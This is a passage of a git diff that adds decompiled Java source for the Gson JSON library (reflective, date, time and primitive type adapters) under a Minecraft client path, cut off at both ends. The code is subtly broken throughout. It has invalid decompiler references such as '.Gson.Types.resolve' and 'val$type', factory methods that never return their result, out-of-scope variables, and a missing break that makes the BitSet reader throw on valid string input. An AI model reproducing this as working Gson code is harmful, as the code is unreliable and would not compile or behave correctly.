+      final TypeAdapter<?> typeAdapter = context.getAdapter(fieldType);
+      
+      void write(JsonWriter writer, Object value) throws IOException, IllegalAccessException
+      {
+        Object fieldValue = field.get(value);
+        TypeAdapter t = new TypeAdapterRuntimeTypeWrapper(context, typeAdapter, fieldType.getType());
+        
+        t.write(writer, fieldValue);
+      }
+      
+      void read(JsonReader reader, Object value) throws IOException, IllegalAccessException {
+        Object fieldValue = typeAdapter.read(reader);
+        if ((fieldValue != null) || (!isPrimitive)) {
+          field.set(value, fieldValue);
+        }
+      }
+    };
+  }
+  
+  private Map<String, BoundField> getBoundFields(Gson context, TypeToken<?> type, Class<?> raw) {
+    Map<String, BoundField> result = new LinkedHashMap();
+    if (raw.isInterface()) {
+      return result;
+    }
+    
+    Type declaredType = type.getType();
+    while (raw != Object.class) {
+      Field[] fields = raw.getDeclaredFields();
+      for (Field field : fields) {
+        boolean serialize = excludeField(field, true);
+        boolean deserialize = excludeField(field, false);
+        if ((serialize) || (deserialize))
+        {
+
+          field.setAccessible(true);
+          Type fieldType = .Gson.Types.resolve(type.getType(), raw, field.getGenericType());
+          BoundField boundField = createBoundField(context, field, getFieldName(field), TypeToken.get(fieldType), serialize, deserialize);
+          
+          BoundField previous = (BoundField)result.put(name, boundField);
+          if (previous != null) {
+            throw new IllegalArgumentException(declaredType + " declares multiple JSON fields named " + name);
+          }
+        }
+      }
+      type = TypeToken.get(.Gson.Types.resolve(type.getType(), raw, raw.getGenericSuperclass()));
+      raw = type.getRawType();
+    }
+    return result;
+  }
+  
+  static abstract class BoundField {
+    final String name;
+    final boolean serialized;
+    final boolean deserialized;
+    
+    protected BoundField(String name, boolean serialized, boolean deserialized) {
+      this.name = name;
+      this.serialized = serialized;
+      this.deserialized = deserialized;
+    }
+    
+    abstract void write(JsonWriter paramJsonWriter, Object paramObject) throws IOException, IllegalAccessException;
+    
+    abstract void read(JsonReader paramJsonReader, Object paramObject) throws IOException, IllegalAccessException;
+  }
+  
+  public static final class Adapter<T> extends TypeAdapter<T> {
+    private final ObjectConstructor<T> constructor;
+    private final Map<String, ReflectiveTypeAdapterFactory.BoundField> boundFields;
+    
+    private Adapter(ObjectConstructor<T> constructor, Map<String, ReflectiveTypeAdapterFactory.BoundField> boundFields) { this.constructor = constructor;
+      this.boundFields = boundFields;
+    }
+    
+    public T read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      T instance = constructor.construct();
+      try
+      {
+        in.beginObject();
+        while (in.hasNext()) {
+          String name = in.nextName();
+          ReflectiveTypeAdapterFactory.BoundField field = (ReflectiveTypeAdapterFactory.BoundField)boundFields.get(name);
+          if ((field == null) || (!deserialized)) {
+            in.skipValue();
+          } else {
+            field.read(in, instance);
+          }
+        }
+      } catch (IllegalStateException e) {
+        throw new JsonSyntaxException(e);
+      } catch (IllegalAccessException e) {
+        throw new AssertionError(e);
+      }
+      in.endObject();
+      return instance;
+    }
+    
+    public void write(JsonWriter out, T value) throws IOException {
+      if (value == null) {
+        out.nullValue();
+        return;
+      }
+      
+      out.beginObject();
+      try {
+        for (ReflectiveTypeAdapterFactory.BoundField boundField : boundFields.values()) {
+          if (serialized) {
+            out.name(name);
+            boundField.write(out, value);
+          }
+        }
+      } catch (IllegalAccessException e) {
+        throw new AssertionError();
+      }
+      out.endObject();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/SqlDateTypeAdapter.java b/src/minecraft/com/google/gson/internal/bind/SqlDateTypeAdapter.java
new file mode 100644
index 0000000..e58da2f
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/SqlDateTypeAdapter.java
@@ -0,0 +1,67 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.text.DateFormat;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SqlDateTypeAdapter
+  extends TypeAdapter<java.sql.Date>
+{
+  public static final TypeAdapterFactory FACTORY = new TypeAdapterFactory()
+  {
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+      return typeToken.getRawType() == java.sql.Date.class ? new SqlDateTypeAdapter() : null;
+    }
+  };
+  
+
+  private final DateFormat format = new SimpleDateFormat("MMM d, yyyy");
+  
+  public SqlDateTypeAdapter() {}
+  
+  public synchronized java.sql.Date read(JsonReader in) throws IOException { if (in.peek() == JsonToken.NULL) {
+      in.nextNull();
+      return null;
+    }
+    try {
+      long utilDate = format.parse(in.nextString()).getTime();
+      return new java.sql.Date(utilDate);
+    } catch (ParseException e) {
+      throw new JsonSyntaxException(e);
+    }
+  }
+  
+  public synchronized void write(JsonWriter out, java.sql.Date value) throws IOException
+  {
+    out.value(value == null ? null : format.format(value));
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/TimeTypeAdapter.java b/src/minecraft/com/google/gson/internal/bind/TimeTypeAdapter.java
new file mode 100644
index 0000000..74716e2
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/TimeTypeAdapter.java
@@ -0,0 +1,66 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.sql.Time;
+import java.text.DateFormat;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class TimeTypeAdapter
+  extends TypeAdapter<Time>
+{
+  public static final TypeAdapterFactory FACTORY = new TypeAdapterFactory()
+  {
+
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) { return typeToken.getRawType() == Time.class ? new TimeTypeAdapter() : null; } };
+  
+  public TimeTypeAdapter() {}
+  
+  private final DateFormat format = new SimpleDateFormat("hh:mm:ss a");
+  
+  public synchronized Time read(JsonReader in) throws IOException {
+    if (in.peek() == JsonToken.NULL) {
+      in.nextNull();
+      return null;
+    }
+    try {
+      Date date = format.parse(in.nextString());
+      return new Time(date.getTime());
+    } catch (ParseException e) {
+      throw new JsonSyntaxException(e);
+    }
+  }
+  
+  public synchronized void write(JsonWriter out, Time value) throws IOException {
+    out.value(value == null ? null : format.format(value));
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/TypeAdapterRuntimeTypeWrapper.java b/src/minecraft/com/google/gson/internal/bind/TypeAdapterRuntimeTypeWrapper.java
new file mode 100644
index 0000000..9e86807
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/TypeAdapterRuntimeTypeWrapper.java
@@ -0,0 +1,81 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class TypeAdapterRuntimeTypeWrapper<T>
+  extends TypeAdapter<T>
+{
+  private final Gson context;
+  private final TypeAdapter<T> delegate;
+  private final Type type;
+  
+  TypeAdapterRuntimeTypeWrapper(Gson context, TypeAdapter<T> delegate, Type type)
+  {
+    this.context = context;
+    this.delegate = delegate;
+    this.type = type;
+  }
+  
+  public T read(JsonReader in) throws IOException
+  {
+    return delegate.read(in);
+  }
+  
+
+
+
+
+
+
+  public void write(JsonWriter out, T value)
+    throws IOException
+  {
+    TypeAdapter chosen = delegate;
+    Type runtimeType = getRuntimeTypeIfMoreSpecific(type, value);
+    if (runtimeType != type) {
+      TypeAdapter runtimeTypeAdapter = context.getAdapter(TypeToken.get(runtimeType));
+      if (!(runtimeTypeAdapter instanceof ReflectiveTypeAdapterFactory.Adapter))
+      {
+        chosen = runtimeTypeAdapter;
+      } else if (!(delegate instanceof ReflectiveTypeAdapterFactory.Adapter))
+      {
+
+        chosen = delegate;
+      }
+      else {
+        chosen = runtimeTypeAdapter;
+      }
+    }
+    chosen.write(out, value);
+  }
+  
+
+
+  private Type getRuntimeTypeIfMoreSpecific(Type type, Object value)
+  {
+    if ((value != null) && ((type == Object.class) || ((type instanceof TypeVariable)) || ((type instanceof Class))))
+    {
+      type = value.getClass();
+    }
+    return type;
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/TypeAdapters.java b/src/minecraft/com/google/gson/internal/bind/TypeAdapters.java
new file mode 100644
index 0000000..5a9740f
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/TypeAdapters.java
@@ -0,0 +1,831 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonIOException;
+import com.google.gson.JsonNull;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.annotations.SerializedName;
+import com.google.gson.internal.LazilyParsedNumber;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.net.InetAddress;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.sql.Timestamp;
+import java.util.BitSet;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.StringTokenizer;
+import java.util.UUID;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class TypeAdapters
+{
+  public static final TypeAdapter<Class> CLASS = new TypeAdapter()
+  {
+    public void write(JsonWriter out, Class value) throws IOException {
+      if (value == null) {
+        out.nullValue();
+      } else {
+        throw new UnsupportedOperationException("Attempted to serialize java.lang.Class: " + value.getName() + ". Forgot to register a type adapter?");
+      }
+    }
+    
+    public Class read(JsonReader in) throws IOException
+    {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      throw new UnsupportedOperationException("Attempted to deserialize a java.lang.Class. Forgot to register a type adapter?");
+    }
+  };
+  
+
+  public static final TypeAdapterFactory CLASS_FACTORY = newFactory(Class.class, CLASS);
+  
+  public static final TypeAdapter<BitSet> BIT_SET = new TypeAdapter() {
+    public BitSet read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      BitSet bitset = new BitSet();
+      in.beginArray();
+      int i = 0;
+      JsonToken tokenType = in.peek();
+      while (tokenType != JsonToken.END_ARRAY) {
+        boolean set;
+        switch (TypeAdapters.32.$SwitchMap$com$google$gson$stream$JsonToken[tokenType.ordinal()]) {
+        case 1: 
+          set = in.nextInt() != 0;
+          break;
+        case 2: 
+          set = in.nextBoolean();
+          break;
+        case 3: 
+          String stringValue = in.nextString();
+          try {
+            set = Integer.parseInt(stringValue) != 0;
+          } catch (NumberFormatException e) {
+            throw new JsonSyntaxException("Error: Expecting: bitset number value (1, 0), Found: " + stringValue);
+          }
+        
+
+        default: 
+          throw new JsonSyntaxException("Invalid bitset value type: " + tokenType);
+        }
+        if (set) {
+          bitset.set(i);
+        }
+        i++;
+        tokenType = in.peek();
+      }
+      in.endArray();
+      return bitset;
+    }
+    
+    public void write(JsonWriter out, BitSet src) throws IOException {
+      if (src == null) {
+        out.nullValue();
+        return;
+      }
+      
+      out.beginArray();
+      for (int i = 0; i < src.length(); i++) {
+        int value = src.get(i) ? 1 : 0;
+        out.value(value);
+      }
+      out.endArray();
+    }
+  };
+  
+  public static final TypeAdapterFactory BIT_SET_FACTORY = newFactory(BitSet.class, BIT_SET);
+  
+  public static final TypeAdapter<Boolean> BOOLEAN = new TypeAdapter()
+  {
+    public Boolean read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null; }
+      if (in.peek() == JsonToken.STRING)
+      {
+        return Boolean.valueOf(Boolean.parseBoolean(in.nextString()));
+      }
+      return Boolean.valueOf(in.nextBoolean());
+    }
+    
+    public void write(JsonWriter out, Boolean value) throws IOException {
+      if (value == null) {
+        out.nullValue();
+        return;
+      }
+      out.value(value.booleanValue());
+    }
+  };
+  
+
+
+
+
+  public static final TypeAdapter<Boolean> BOOLEAN_AS_STRING = new TypeAdapter() {
+    public Boolean read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return Boolean.valueOf(in.nextString());
+    }
+    
+    public void write(JsonWriter out, Boolean value) throws IOException {
+      out.value(value == null ? "null" : value.toString());
+    }
+  };
+  
+  public static final TypeAdapterFactory BOOLEAN_FACTORY = newFactory(Boolean.TYPE, Boolean.class, BOOLEAN);
+  
+
+  public static final TypeAdapter<Number> BYTE = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        int intValue = in.nextInt();
+        return Byte.valueOf((byte)intValue);
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapterFactory BYTE_FACTORY = newFactory(Byte.TYPE, Byte.class, BYTE);
+  
+
+  public static final TypeAdapter<Number> SHORT = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        return Short.valueOf((short)in.nextInt());
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapterFactory SHORT_FACTORY = newFactory(Short.TYPE, Short.class, SHORT);
+  
+
+  public static final TypeAdapter<Number> INTEGER = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        return Integer.valueOf(in.nextInt());
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapterFactory INTEGER_FACTORY = newFactory(Integer.TYPE, Integer.class, INTEGER);
+  
+
+  public static final TypeAdapter<Number> LONG = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        return Long.valueOf(in.nextLong());
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapter<Number> FLOAT = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return Float.valueOf((float)in.nextDouble());
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapter<Number> DOUBLE = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return Double.valueOf(in.nextDouble());
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapter<Number> NUMBER = new TypeAdapter()
+  {
+    public Number read(JsonReader in) throws IOException {
+      JsonToken jsonToken = in.peek();
+      switch (TypeAdapters.32.$SwitchMap$com$google$gson$stream$JsonToken[jsonToken.ordinal()]) {
+      case 4: 
+        in.nextNull();
+        return null;
+      case 1: 
+        return new LazilyParsedNumber(in.nextString());
+      }
+      throw new JsonSyntaxException("Expecting number, got: " + jsonToken);
+    }
+    
+    public void write(JsonWriter out, Number value) throws IOException
+    {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapterFactory NUMBER_FACTORY = newFactory(Number.class, NUMBER);
+  
+  public static final TypeAdapter<Character> CHARACTER = new TypeAdapter()
+  {
+    public Character read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      String str = in.nextString();
+      if (str.length() != 1) {
+        throw new JsonSyntaxException("Expecting character, got: " + str);
+      }
+      return Character.valueOf(str.charAt(0));
+    }
+    
+    public void write(JsonWriter out, Character value) throws IOException {
+      out.value(value == null ? null : String.valueOf(value));
+    }
+  };
+  
+  public static final TypeAdapterFactory CHARACTER_FACTORY = newFactory(Character.TYPE, Character.class, CHARACTER);
+  
+
+  public static final TypeAdapter<String> STRING = new TypeAdapter()
+  {
+    public String read(JsonReader in) throws IOException {
+      JsonToken peek = in.peek();
+      if (peek == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      if (peek == JsonToken.BOOLEAN) {
+        return Boolean.toString(in.nextBoolean());
+      }
+      return in.nextString();
+    }
+    
+    public void write(JsonWriter out, String value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapter<BigDecimal> BIG_DECIMAL = new TypeAdapter() {
+    public BigDecimal read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        return new BigDecimal(in.nextString());
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, BigDecimal value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapter<BigInteger> BIG_INTEGER = new TypeAdapter() {
+    public BigInteger read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        return new BigInteger(in.nextString());
+      } catch (NumberFormatException e) {
+        throw new JsonSyntaxException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, BigInteger value) throws IOException {
+      out.value(value);
+    }
+  };
+  
+  public static final TypeAdapterFactory STRING_FACTORY = newFactory(String.class, STRING);
+  
+  public static final TypeAdapter<StringBuilder> STRING_BUILDER = new TypeAdapter()
+  {
+    public StringBuilder read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return new StringBuilder(in.nextString());
+    }
+    
+    public void write(JsonWriter out, StringBuilder value) throws IOException {
+      out.value(value == null ? null : value.toString());
+    }
+  };
+  
+  public static final TypeAdapterFactory STRING_BUILDER_FACTORY = newFactory(StringBuilder.class, STRING_BUILDER);
+  
+
+  public static final TypeAdapter<StringBuffer> STRING_BUFFER = new TypeAdapter()
+  {
+    public StringBuffer read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return new StringBuffer(in.nextString());
+    }
+    
+    public void write(JsonWriter out, StringBuffer value) throws IOException {
+      out.value(value == null ? null : value.toString());
+    }
+  };
+  
+  public static final TypeAdapterFactory STRING_BUFFER_FACTORY = newFactory(StringBuffer.class, STRING_BUFFER);
+  
+
+  public static final TypeAdapter<URL> URL = new TypeAdapter()
+  {
+    public URL read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      String nextString = in.nextString();
+      return "null".equals(nextString) ? null : new URL(nextString);
+    }
+    
+    public void write(JsonWriter out, URL value) throws IOException {
+      out.value(value == null ? null : value.toExternalForm());
+    }
+  };
+  
+  public static final TypeAdapterFactory URL_FACTORY = newFactory(URL.class, URL);
+  
+  public static final TypeAdapter<URI> URI = new TypeAdapter()
+  {
+    public URI read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      try {
+        String nextString = in.nextString();
+        return "null".equals(nextString) ? null : new URI(nextString);
+      } catch (URISyntaxException e) {
+        throw new JsonIOException(e);
+      }
+    }
+    
+    public void write(JsonWriter out, URI value) throws IOException {
+      out.value(value == null ? null : value.toASCIIString());
+    }
+  };
+  
+  public static final TypeAdapterFactory URI_FACTORY = newFactory(URI.class, URI);
+  
+  public static final TypeAdapter<InetAddress> INET_ADDRESS = new TypeAdapter()
+  {
+    public InetAddress read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      return InetAddress.getByName(in.nextString());
+    }
+    
+    public void write(JsonWriter out, InetAddress value) throws IOException {
+      out.value(value == null ? null : value.getHostAddress());
+    }
+  };
+  
+  public static final TypeAdapterFactory INET_ADDRESS_FACTORY = newTypeHierarchyFactory(InetAddress.class, INET_ADDRESS);
+  
+
+  public static final TypeAdapter<UUID> UUID = new TypeAdapter()
+  {
+    public UUID read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return UUID.fromString(in.nextString());
+    }
+    
+    public void write(JsonWriter out, UUID value) throws IOException {
+      out.value(value == null ? null : value.toString());
+    }
+  };
+  
+  public static final TypeAdapterFactory UUID_FACTORY = newFactory(UUID.class, UUID);
+  
+  public static final TypeAdapterFactory TIMESTAMP_FACTORY = new TypeAdapterFactory()
+  {
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+      if (typeToken.getRawType() != Timestamp.class) {
+        return null;
+      }
+      
+      final TypeAdapter<Date> dateTypeAdapter = gson.getAdapter(Date.class);
+      new TypeAdapter() {
+        public Timestamp read(JsonReader in) throws IOException {
+          Date date = (Date)dateTypeAdapter.read(in);
+          return date != null ? new Timestamp(date.getTime()) : null;
+        }
+        
+        public void write(JsonWriter out, Timestamp value) throws IOException {
+          dateTypeAdapter.write(out, value);
+        }
+      };
+    }
+  };
+  
+  public static final TypeAdapter<Calendar> CALENDAR = new TypeAdapter()
+  {
+    private static final String YEAR = "year";
+    private static final String MONTH = "month";
+    private static final String DAY_OF_MONTH = "dayOfMonth";
+    private static final String HOUR_OF_DAY = "hourOfDay";
+    private static final String MINUTE = "minute";
+    private static final String SECOND = "second";
+    
+    public Calendar read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      in.beginObject();
+      int year = 0;
+      int month = 0;
+      int dayOfMonth = 0;
+      int hourOfDay = 0;
+      int minute = 0;
+      int second = 0;
+      while (in.peek() != JsonToken.END_OBJECT) {
+        String name = in.nextName();
+        int value = in.nextInt();
+        if ("year".equals(name)) {
+          year = value;
+        } else if ("month".equals(name)) {
+          month = value;
+        } else if ("dayOfMonth".equals(name)) {
+          dayOfMonth = value;
+        } else if ("hourOfDay".equals(name)) {
+          hourOfDay = value;
+        } else if ("minute".equals(name)) {
+          minute = value;
+        } else if ("second".equals(name)) {
+          second = value;
+        }
+      }
+      in.endObject();
+      return new GregorianCalendar(year, month, dayOfMonth, hourOfDay, minute, second);
+    }
+    
+    public void write(JsonWriter out, Calendar value) throws IOException
+    {
+      if (value == null) {
+        out.nullValue();
+        return;
+      }
+      out.beginObject();
+      out.name("year");
+      out.value(value.get(1));
+      out.name("month");
+      out.value(value.get(2));
+      out.name("dayOfMonth");
+      out.value(value.get(5));
+      out.name("hourOfDay");
+      out.value(value.get(11));
+      out.name("minute");
+      out.value(value.get(12));
+      out.name("second");
+      out.value(value.get(13));
+      out.endObject();
+    }
+  };
+  
+  public static final TypeAdapterFactory CALENDAR_FACTORY = newFactoryForMultipleTypes(Calendar.class, GregorianCalendar.class, CALENDAR);
+  
+
+  public static final TypeAdapter<Locale> LOCALE = new TypeAdapter()
+  {
+    public Locale read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      String locale = in.nextString();
+      StringTokenizer tokenizer = new StringTokenizer(locale, "_");
+      String language = null;
+      String country = null;
+      String variant = null;
+      if (tokenizer.hasMoreElements()) {
+        language = tokenizer.nextToken();
+      }
+      if (tokenizer.hasMoreElements()) {
+        country = tokenizer.nextToken();
+      }
+      if (tokenizer.hasMoreElements()) {
+        variant = tokenizer.nextToken();
+      }
+      if ((country == null) && (variant == null))
+        return new Locale(language);
+      if (variant == null) {
+        return new Locale(language, country);
+      }
+      return new Locale(language, country, variant);
+    }
+    
+    public void write(JsonWriter out, Locale value) throws IOException
+    {
+      out.value(value == null ? null : value.toString());
+    }
+  };
+  
+  public static final TypeAdapterFactory LOCALE_FACTORY = newFactory(Locale.class, LOCALE);
+  
+  public static final TypeAdapter<JsonElement> JSON_ELEMENT = new TypeAdapter() {
+    public JsonElement read(JsonReader in) throws IOException {
+      switch (TypeAdapters.32.$SwitchMap$com$google$gson$stream$JsonToken[in.peek().ordinal()]) {
+      case 3: 
+        return new JsonPrimitive(in.nextString());
+      case 1: 
+        String number = in.nextString();
+        return new JsonPrimitive(new LazilyParsedNumber(number));
+      case 2: 
+        return new JsonPrimitive(Boolean.valueOf(in.nextBoolean()));
+      case 4: 
+        in.nextNull();
+        return JsonNull.INSTANCE;
+      case 5: 
+        JsonArray array = new JsonArray();
+        in.beginArray();
+        while (in.hasNext()) {
+          array.add(read(in));
+        }
+        in.endArray();
+        return array;
+      case 6: 
+        JsonObject object = new JsonObject();
+        in.beginObject();
+        while (in.hasNext()) {
+          object.add(in.nextName(), read(in));
+        }
+        in.endObject();
+        return object;
+      }
+      
+      
+
+
+      throw new IllegalArgumentException();
+    }
+    
+    public void write(JsonWriter out, JsonElement value) throws IOException
+    {
+      if ((value == null) || (value.isJsonNull())) {
+        out.nullValue();
+      } else if (value.isJsonPrimitive()) {
+        JsonPrimitive primitive = value.getAsJsonPrimitive();
+        if (primitive.isNumber()) {
+          out.value(primitive.getAsNumber());
+        } else if (primitive.isBoolean()) {
+          out.value(primitive.getAsBoolean());
+        } else {
+          out.value(primitive.getAsString());
+        }
+      }
+      else if (value.isJsonArray()) {
+        out.beginArray();
+        for (JsonElement e : value.getAsJsonArray()) {
+          write(out, e);
+        }
+        out.endArray();
+      }
+      else if (value.isJsonObject()) {
+        out.beginObject();
+        for (Map.Entry<String, JsonElement> e : value.getAsJsonObject().entrySet()) {
+          out.name((String)e.getKey());
+          write(out, (JsonElement)e.getValue());
+        }
+        out.endObject();
+      }
+      else {
+        throw new IllegalArgumentException("Couldn't write " + value.getClass());
+      }
+    }
+  };
+  
+  public static final TypeAdapterFactory JSON_ELEMENT_FACTORY = newTypeHierarchyFactory(JsonElement.class, JSON_ELEMENT);
+  private TypeAdapters() {}
+  
+  private static final class EnumTypeAdapter<T extends Enum<T>> extends TypeAdapter<T> {
+    private final Map<String, T> nameToConstant = new HashMap();
+    private final Map<T, String> constantToName = new HashMap();
+    
+    public EnumTypeAdapter(Class<T> classOfT) {
+      try {
+        for (T constant : (Enum[])classOfT.getEnumConstants()) {
+          String name = constant.name();
+          SerializedName annotation = (SerializedName)classOfT.getField(name).getAnnotation(SerializedName.class);
+          if (annotation != null) {
+            name = annotation.value();
+          }
+          nameToConstant.put(name, constant);
+          constantToName.put(constant, name);
+        }
+      } catch (NoSuchFieldException e) {
+        throw new AssertionError();
+      }
+    }
+    
+    public T read(JsonReader in) throws IOException { if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      return (Enum)nameToConstant.get(in.nextString());
+    }
+    
+    public void write(JsonWriter out, T value) throws IOException {
+      out.value(value == null ? null : (String)constantToName.get(value));
+    }
+  }
+  
+  public static final TypeAdapterFactory ENUM_FACTORY = newEnumTypeHierarchyFactory();
+  
+  public static TypeAdapterFactory newEnumTypeHierarchyFactory() {
+    new TypeAdapterFactory()
+    {
+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        Class<? super T> rawType = typeToken.getRawType();
+        if ((!Enum.class.isAssignableFrom(rawType)) || (rawType == Enum.class)) {
+          return null;
+        }
+        if (!rawType.isEnum()) {
+          rawType = rawType.getSuperclass();
+        }
+        return new TypeAdapters.EnumTypeAdapter(rawType);
+      }
+    };
+  }
+  
+  public static <TT> TypeAdapterFactory newFactory(TypeToken<TT> type, final TypeAdapter<TT> typeAdapter)
+  {
+    new TypeAdapterFactory()
+    {
+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        return typeToken.equals(val$type) ? typeAdapter : null;
+      }
+    };
+  }
+  
+  public static <TT> TypeAdapterFactory newFactory(Class<TT> type, final TypeAdapter<TT> typeAdapter)
+  {
+    new TypeAdapterFactory()
+    {
+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        return typeToken.getRawType() == val$type ? typeAdapter : null;
+      }
+      
+      public String toString() { return "Factory[type=" + val$type.getName() + ",adapter=" + typeAdapter + "]"; }
+    };
+  }
+  
+
+  public static <TT> TypeAdapterFactory newFactory(Class<TT> unboxed, final Class<TT> boxed, final TypeAdapter<? super TT> typeAdapter)
+  {
+    new TypeAdapterFactory()
+    {
